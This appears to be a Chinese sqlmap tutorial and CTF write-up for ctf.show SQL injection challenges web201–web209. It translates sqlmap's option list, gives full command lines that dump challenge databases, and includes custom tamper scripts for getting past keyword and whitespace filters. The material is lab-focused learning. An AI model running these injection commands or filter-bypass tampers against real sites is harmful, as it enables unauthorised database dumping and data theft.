sqlmap使用

安装

工具这类的东西肯定是越新越好,所以建议是git安装

1
2
3
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --help

其实这个工具的CTF里面基本都用不了,不过实际渗透中相当实用,特别是UDF提权,都要使用到其中的so文件

使用选项

从大菜鸡师傅那里抄过来命令

1
用法: python sqlmap.py [选项]

基础选项:

选项 说明
-h, --help 显示基础的帮助信息,然后退出
-hh 显示高级的帮助信息,然后退出
--version 显示脚本的版本,然后退出
-v VERBOSE 显示测试细节 默认数字1-6

目标:

至少选择下列一种模式

选项 说明
-d 转发模式 给定连接字符串,连接目标数据库
-u, --url= 直连模式,直接连接目标地址,例如:http://www.site.com/vuln.php?id=1
-l 日志模式 从Burp或者WebScarab载入代理日志文件
-m 批量模式 从给定的文本文件扫描多个目标地址
-r 请求模式 从文件中载入http请求
-g 谷歌傻瓜模式 从谷歌搜索地址做为目标地址
-c 配置模式 从ini配置文件载入目标地址

请求:

下面的选项是用来详细说明如何连接目标地址

选项 说明
--method=方法 强制使用指定的方式进行连接,例如 PUT
--data=数据 通过POST发送数据字符串,例如: --data="id=1"
--param-del=参数分割 参数分割字符,例如:&
--cookie=COOKIE HTTP Cookie 头的值 例如: PHPSESSID=a8d127e..
--cookie-del=COO.. cookie分割字符,例如:;
--load-cookies=L.. 从文件载入cookie值
--drop-set-cookie 忽略响应数据中的 Set-Cookie,即使用响应cookie
--user-agent=AGENT 设置HTTP User-Agent 的值
--random-agent 使用随机 User-Agent 的值
--host=HOST 设置 HTTP Host 的值
--referer=REFERER 设置 HTTP Referer 的值
-H HEADER, --hea.. 设置拓展头 例如:X-Forwarded-For: 127.0.0.1
--headers=HEADERS 设置多个HTTP头 例如:Accept-Language: fr\nETag: 123
--auth-type=AUTH.. 设置HTTP认证类型 (Basic, Digest, NTLM 或 PKI)
--auth-cred=AUTH.. 设置HTTP认证账密 例如:name:password
--auth-file=AUTH.. 设置PEM私钥证书文件
--ignore-code=IG.. 忽略HTTP错误码 例如:401
--ignore-proxy 忽略系统的代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接目标地址
--proxy-cred=PRO.. 使用代理进行HTTP认证 例如:name:password
--proxy-file=PRO.. 从文件中载入代理列表
--tor 使用洋葱匿名网络
--tor-port=TORPORT 设置洋葱匿名代理的非默认端口
--tor-type=TORTYPE 设置洋葱匿名代理的类型 例如:HTTP, SOCKS4 或 SOCKS5 (默认))
--check-tor 检查洋葱匿名代理网络是否可用
--delay=DELAY 设置两次请求之间的延时,单位:秒
--timeout=TIMEOUT 设置连接目标地址超时时间 (默认30秒)
--retries=RETRIES 设置连接超时重试次数 (默认3次)
--randomize=RPARAM 对给定的请求参数值进行随机化
--safe-url=SAFEURL 设置在测试目标地址前访问的安全链接
--safe-post=SAFE.. 设置安全链接POST发送的数据
--safe-req=SAFER.. 从文件中载入安全链接列表
--safe-freq=SAFE.. 设置两次注入测试前访问安全链接的次数
--skip-urlencode 跳过对攻击载荷的URL编码
--csrf-token=CSR.. 保存反CSRF令牌
--csrf-url=CSRFURL 提取CSRF令牌的地址
--force-ssl 强制使用 SSL/HTTPS
--hpp 使用HTTP参数污染
--eval=EVALCODE 请求前使用自定义python脚本 例如:
import hashlib;
id2=hashlib.md5(id).hexdigest()

优化选项:

下面的选项是用来优化sqlmap的性能

选项 说明
-o 打开所有优化选项开关
--predict-output 预测常见查询输出
--keep-alive 使用 HTTP(s) 持久化连接
--null-connection 只检测响应数据长度,不检测响应内容
--threads=THREADS 设置最大运行线程 (默认1线程)

注入选项:

下面的选项用来指定注入测试的定制参数和篡改脚本

选项 说明
-p TESTPARAMETER 设置要注入的参数
--skip=SKIP 设置要跳过注入的参数
--skip-static 设置跳过静态参数
--param-exclude=.. 对要注入参数进行正则匹配 例如:ses
--dbms=DBMS 指定注入地址的后台数据库名称
--dbms-cred=DBMS.. 指定数据库认证账密 例如:user:password
--os=OS 指定注入地址的操作系统
--invalid-bignum 对注入参数使用超大数字使其失效
--invalid-logical 对注入参数使用逻辑运算使其失效
--invalid-string 对注入参数使用随机字符串使其失效
--no-cast 关闭攻击载荷的生成器
--no-escape 关闭字符逃逸的生成器
--prefix=PREFIX 攻击载荷的前缀
--suffix=SUFFIX 攻击载荷的后缀
--tamper=TAMPER 指定攻击载荷的篡改脚本

检测选项:

下面的选项用来定制检测

选项 说明
--level=LEVEL 指定注入测试级别 例如:1-5, 默认 1
--risk=RISK 指定注入测试风险等级,防止破坏数据 例如:1-3, 默认 1
--string=STRING 指定攻击载荷执行成功返回的字符串
--not-string=NOT.. 指定攻击载荷执行失败返回的字符串
--regexp=REGEXP 指定攻击载荷执行成功匹配的正则表达式
--code=CODE 指定攻击载荷执行成功返回的HTTP状态码
--text-only 设置只检测返回文本来确定攻击载荷执行情况
--titles 设置检测返回页面标题确定攻击载荷执行情况

技术选项:

下面选项用来指定参数来调整指定的注入测试选项

选项 说明
--technique=TECH 开启定制 (default “BEUSTQ”)
--time-sec=TIMESEC 指定目标数据库响应时间 (默认5秒)
--union-cols=UCOLS 指定联合查询注入的列范围
--union-char=UCHAR 指定联合查询猜测列数量最大长度
--union-from=UFROM 指定联合查询使用的表
--dns-domain=DNS.. 指定DNS外带的解析地址
--second-url=SEC.. 指定二次注入的结果页面
--second-req=SEC.. 指定二次注入的结果页面列表文件

指纹选项:

选项 说明
-f, --fingerprint 使用常见数据库指纹识别

枚举选项:

下面的选项用来枚举后端数据库管理系统的信息、结构以及表内的包含数据。此外,你可以运行自己的SQL语句

选项 说明
-a, --all 检索所有内容
-b, --banner 检索数据库欢迎信息
--current-user 检索数据库的当前用户
--current-db 检索当前使用的数据库名称
--hostname 检索数据库计算机名称
--is-dba 检测当前用户是否为数据库管理员
--users 枚举数据库的所有用户
--passwords 枚举数据库的所有用户密码哈希值
--privileges 枚举数据库的所有用户权限
--roles 枚举数据库的所有用户角色
--dbs 枚举数据库的所有数据库
--tables 枚举数据库的所有表
--columns 枚举数据库的所有列
--schema 枚举数据库汇总数据
--count 检索数据库的记录总数
--dump 转储数据库表的记录
--dump-all 转储数据库的所有表记录,俗称脱裤
--search 搜索指定列、表、数据库
--comments 枚举时检测数据库的注释
-D DB 指定要枚举的数据库名称
-T TBL 指定要枚举的表名称
-C COL 指定要枚举的列名称
-X EXCLUDE 指定排除枚举的数据库名称
-U USER 指定枚举时的数据库用户
--exclude-sysdbs 设置枚举时包含数据库系统自带表
--pivot-column=P.. 指定主键名称
--where=DUMPWHERE 转储数据表时,使用where条件语句
--start=LIMITSTART 转储表时,使用limit语句进行显示,设置limit的第一个参数
--stop=LIMITSTOP 转储表时,使用limit语句进行显示,设置limit的第二个参数
--first=FIRSTCHAR 查询时使用的第一个字符
--last=LASTCHAR 查询时使用的最后一个字符
--sql-query=QUERY 执行sql语句
--sql-shell 使用可交互sql-shell
--sql-file=SQLFILE 指定执行sql语句的文件

暴力破解选项:

下面的选项用来设置暴力破解参数

选项 说明
--common-tables 使用本地表名字典
--common-columns 使用本地列明字典

自定义函数选项:

下面的选项用来生成和运行自定义函数

选项 说明
--udf-inject 注入自定义函数
--shared-lib=SHLIB 指定本地函数共享库

文件系统访问选项:

下面的选项用来设置目标系统的文件系统访问参数

选项 说明
--file-read=FILE.. 从目标系统的文件系统读入文件
--file-write=FIL.. 向目标系统的文件系统写入文件
--file-dest=FILE.. 要写入文件的绝对路径

操作系统访问选项:

下面的选项用来设置对目标操作系统的访问参数

选项 说明
--os-cmd=OSCMD 执行操作系统命令
--os-shell 反弹操作系统的shell
--os-pwn 反弹OOBshell, Meterpreter 或 VNC
--os-smbrelay 一键反弹 OOB shell, Meterpreter or VNC
--os-bof 保存缓冲器溢出攻击载荷
--priv-esc 数据库账户提权
--msf-path=MSFPATH Metasploit Framework本地安装路径
--tmp-path=TMPPATH 远程临时文件存放的绝对路径

Windows注册表访问选项:

下面的选项用来设置Windows系统的注册表访问参数

选项 说明
--reg-read 读取注册表的指定键值
--reg-add 向注册表写入指定键值
--reg-del 删除之策表指定键值
--reg-key=REGKEY 设置注册表的键名
--reg-value=REGVAL 设置注册表的键值
--reg-data=REGDATA 设置注册表的键数据
--reg-type=REGTYPE 设置注册表的键类型

公共选项:

下面的选项用来设置公共参数

选项 说明
-s SESSIONFILE 载入测试会话文件
-t TRAFFICFILE 记录所有的HTTP测试结果至文本文件
--answers=ANSWERS 设置默认回应 例如 quit=N,follow=N
--base64=BASE64P.. 设置参数包含base64数据
--batch 静默执行,使用默认选项进行
--binary-fields=.. 返回结果包含二进制数据
--check-internet 进行注入测试前,检查网络联通情况
--crawl=CRAWLDEPTH 对指定地址爬虫测试
--crawl-exclude=.. 对匹配正则表达式的页面地址进行爬虫测试
--csv-del=CSVDEL 设置csv格式的分割符
--charset=CHARSET 设置盲注测试字符集 例如:0123456789abcdef
--dump-format=DU.. 对转储文件进行转换 例如:CSV(默认), HTML 或SQLITE
--encoding=ENCOD.. 设置检索时的字符集 例如:GBK
--eta 显示输出耗时
--flush-session 刷新当前目标地址的会话
--forms 对目标地址提交表单测试
--fresh-queries 忽略已缓存的查询结果
--har=HARFILE 保存所有HTTP响应至HAR文件
--hex 检索返回数据时使用16进制
--output-dir=OUT.. 自定义输出文件路径
--parse-errors 显示页面上的数据库错误
--preprocess=PRE.. 使用指定脚本提交请求
--postprocess=PO.. 使用指定脚本处理请求响应
--repair 转储未知字符时,使用的替换字符
--save=SAVECONFIG 将当前的配置保存至配置文件
--scope=SCOPE 使用正则表达式匹配代理地址列表
--test-filter=TE.. 选择标题且(或)为指定字符串的攻击载荷
--test-skip=TEST.. 忽略标题且(或)为指定字符串的攻击载荷
--update 更新 sqlmap

其他选项:

选项 说明
-z MNEMONICS 使用助记符 例如:flu,bat,ban,tec=EU
--alert=ALERT 注测测试成功执行的本地系统命令
--beep 注入点测试成功主板蜂鸣
--cleanup 使用自定义函数情况数据库
--dependencies 检查sqlmap的组件完整性
--disable-coloring 关闭彩色输出
--gpage=GOOGLEPAGE 谷歌傻瓜式注入扫描的页数
--identify-waf Make a thorough testing for a WAF/IPS protection
--list-tampers 显示篡改脚本列表
--mobile 使用手机UA
--offline 离线模式
--purge 安全卸载所有sqlmap内容
--skip-waf 放弃测试具有启发式WAF保护的地址
--smart 检测是否时启发式WAF保护
--sqlmap-shell 反弹sqlmap的shell
--tmp-dir=TMPDIR 设置sqlmap本地临时文件路径
--web-root=WEBROOT 设置http服务的网页根目录 例如:/var/www
--wizard 使用sqlmao时开启简单向导

CTFshow-大菜鸡 于 2020-11-14 夜完成

常用的命令将会在例题中出现,其中最常用的应该是利用数据包来完成注入

1
2
3
4
5
6
7
8
9
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

username=admin&password=test

username参数进行注入,运行命令python sqlmap.py -r request.txt -p username

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /api/?id=1111&page=1&limit=10 HTTP/1.1
Host: 6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show
Cookie: cf_clearance=FfFkJ_rCEzOW7OasGYKDaQdTABU_BVynV76XtJXtEMk-1737092124-1.2.1.1-08wtjOyMUOY8ThDT33UiGmkBadSYm33GtZ8UEqnhMYn45iIQYIfmtkdn0rCEq2cLjGXf0XdRXNrM4molLyQ8vDQnKyYt1ixrhYI8wUqSsnE_reHQM3L6B3Gr67nSRP1zSwCAeJEqXOf02wzTlhdAoBkjyG4DbDdMuMDw6HuBeMCHow7p3zZfJTguhcrd.YRyR8ZagXt2h1DBgZSdnioehaLAzj2nA8s1weMd_HWveEI4ls1PWJz.ADM_9UTNjpCJL6Rlu3t3JqrqEctObC1eUoGYZYf3LWHGDpgLNPYoVjs
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/sqlmap.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close


id进行参数注入,python sqlmap.py -r request.txt -p id,还有就是代理到bp,看Ta发的包,参数为--proxy="http://127.0.0.1:8080"

1

例题

web201

说了要指定UA头和referer

1
python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show

1

确认注入类型,然后就梭哈就完事了

1
2
3
4
5
6
7
8
9
10
11
python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show --dbs

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C id,username,pass --dump

python3 sqlmap.py -u "http://6c4586c9-e3cd-422d-81b4-edd84f668efb.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump

web202

虽然参数是GET参数,但是就是要使用data来传参

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -dbs

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://c4669376-5f6c-4214-90a2-38647c73550a.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --batch

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --dbs --batch

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://d3894a03-1770-455d-9da7-1894f0687aec.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

路由不能写错,/api/不接受PUT传参,始终有405错误,写成/api/index.php就可以了

web204

把Cookie带上就可以了

1
2
3
4
5
6
7
python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" --dbs --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" -D ctfshow_web --tables --batch

python3 sqlmap.py -u "http://17a220a4-5488-4d09-9c20-ce4d851f6b32.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show --cookie="ctfshow=f1a8dd82330be40c19146f968a9a61b3;PHPSESSID=qlkq87qii1p445gqkn6h4fi6o3" -D ctfshow_web -T ctfshow_user --dump --batch

web205

每次查询之前会先去/api/getToken.php,拿到Cookie再去查询PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp

1
2
3
python3 sqlmap.py -u "http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://664e502c-af1a-4845-aae9-0cee9c9ba258.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9kfu8beesnj6mk7j0554lh8fgp" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump --batch

web206

需要闭合,但是我写了一个没有闭合的payload也能打出来,只不过是Sqlmap给我时间盲注出来的

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

1

但是如果把闭合写了

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --prefix="')" --suffix="#" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

他就不会盲注而是直接打出来,不过前提是要知道payload的样子

1

1
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --prefix="')" --suffix="#" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --columns --where="id=1" --dump --threads=5 --no-cast --time-sec=1 --charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-{}.ctfshow"

优化一下参数,即使这样子可能注入出来的东西不完整,但是够快

1

但是这样的命令跑不出来,线程加太大了,所以我又重新写了一下命令,用二分法和限制字符集,直接乱杀好吧

1
2
3
python3 sqlmap.py -u "http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://f60f42ca-9e5f-4cbc-9f79-ce46c88cd952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

python3 sqlmap.py -u "http://35cc5129-ecff-4e45-a19d-f3058ea3909f.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://35cc5129-ecff-4e45-a19d-f3058ea3909f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump --threads=5 --charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-{}." --time-sec=1 --binary-fields=flagv --no-cast

web207

过滤了空格直接利用space2comment绕过

1
2
3
python3 sqlmap.py -u "http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment" -D ctfshow_web --tables

python3 sqlmap.py -u "http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://7745522d-a1de-46a6-9352-f68081c99d84.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment" -D ctfshow_web -T ctfshow_flaxca --dump

web208

虽然还是写着只过滤了空格,但是这里还是必须要用随便大小写关键字才能绕过randomcase

1
2
3
python3 sqlmap.py -u "http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment,randomcase" -D ctfshow_web --tables

python3 sqlmap.py -u "http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://04b302d1-1b4e-439c-8afd-8ce6d287c653.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=khfj7v9mah0p28b43l00da7674" --user-agent=sqlmap --referer=ctf.show --tamper="space2comment,randomcase" -D ctfshow_web -T ctfshow_flaxcac --dump

也可以用space2formfeed.py(自己写)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0c)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0c)
continue

retVal += payload[i]

return retVal
1
2
3
python3 sqlmap.py -u "http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,randomcase" -D ctfshow_web --tables

python3 sqlmap.py -u "http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://bd248ba1-6a52-494f-8d43-0c0f0da01489.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,randomcase" -D ctfshow_web -T ctfshow_flaxcac --dump

顺表再写个双写绕过的tamper吧doublewords.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL


def dependencies():
pass


def tamper(payload, **kwargs):
retVal = payload

keywords_to_double = {
"SELECT"
}

if payload:
for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group()

if word.upper() in keywords_to_double and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None:
mid_pos = len(word) // 2
embedded_word = word[:mid_pos].lower() + word.lower() + word[mid_pos:].lower()
retVal = retVal.replace(word, embedded_word)

return retVal

环境中过滤了什么,就把这个关键字加到字典里面,就可以了

1
2
3
python3 sqlmap.py -u "http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/index.php" --data="id=1"  --method=PUT --headers="Content-Type:text/plain" --safe-url="http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,doublewords" -D ctfshow_web --tables

python3 sqlmap.py -u "http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://991ba5f3-26b5-49f4-824c-dab037a17321.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=k07qc4alt8bo9oht2glqb90p52" --user-agent=sqlmap --referer=ctf.show --tamper="space2formfeed,doublewords" -D ctfshow_web -T ctfshow_flaxcac --dump --batch

web209

1
2
3
4
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}

过滤了*space2comment就用不了了,其实我们需要绕过的就是空格,这里利用%09绕过,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x09)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x09)
continue

retVal += payload[i]

return retVal

命名为space2tab.py,再写个把*替换为换行的tamper,命名为asterisk2newline.py,说实话想不到更好的处理方式了,有更好的处理方式的师傅,欢迎评论区讨论,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def dependencies():
pass


def tamper(payload, **kwargs):
retVal = payload

if payload:
retVal = ""
quote, doublequote = False, False

for i in xrange(len(payload)):
if payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '*' and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

细节点就是需要使用chr(0xxx)的样式来替换字符,不能直接随便写

1
2
3
python3 sqlmap.py -u "http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --safe-url="http://05c26fc5-ce78-49b1-af86-aa57f63f7352.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=igqfvdb6q8776gjl2kj45d5dre" --user-agent=sqlmap --referer=ctf.show --tamper="space2tab,asterisk2newline,equaltolike,randomcase" -D ctfshow_web --tables

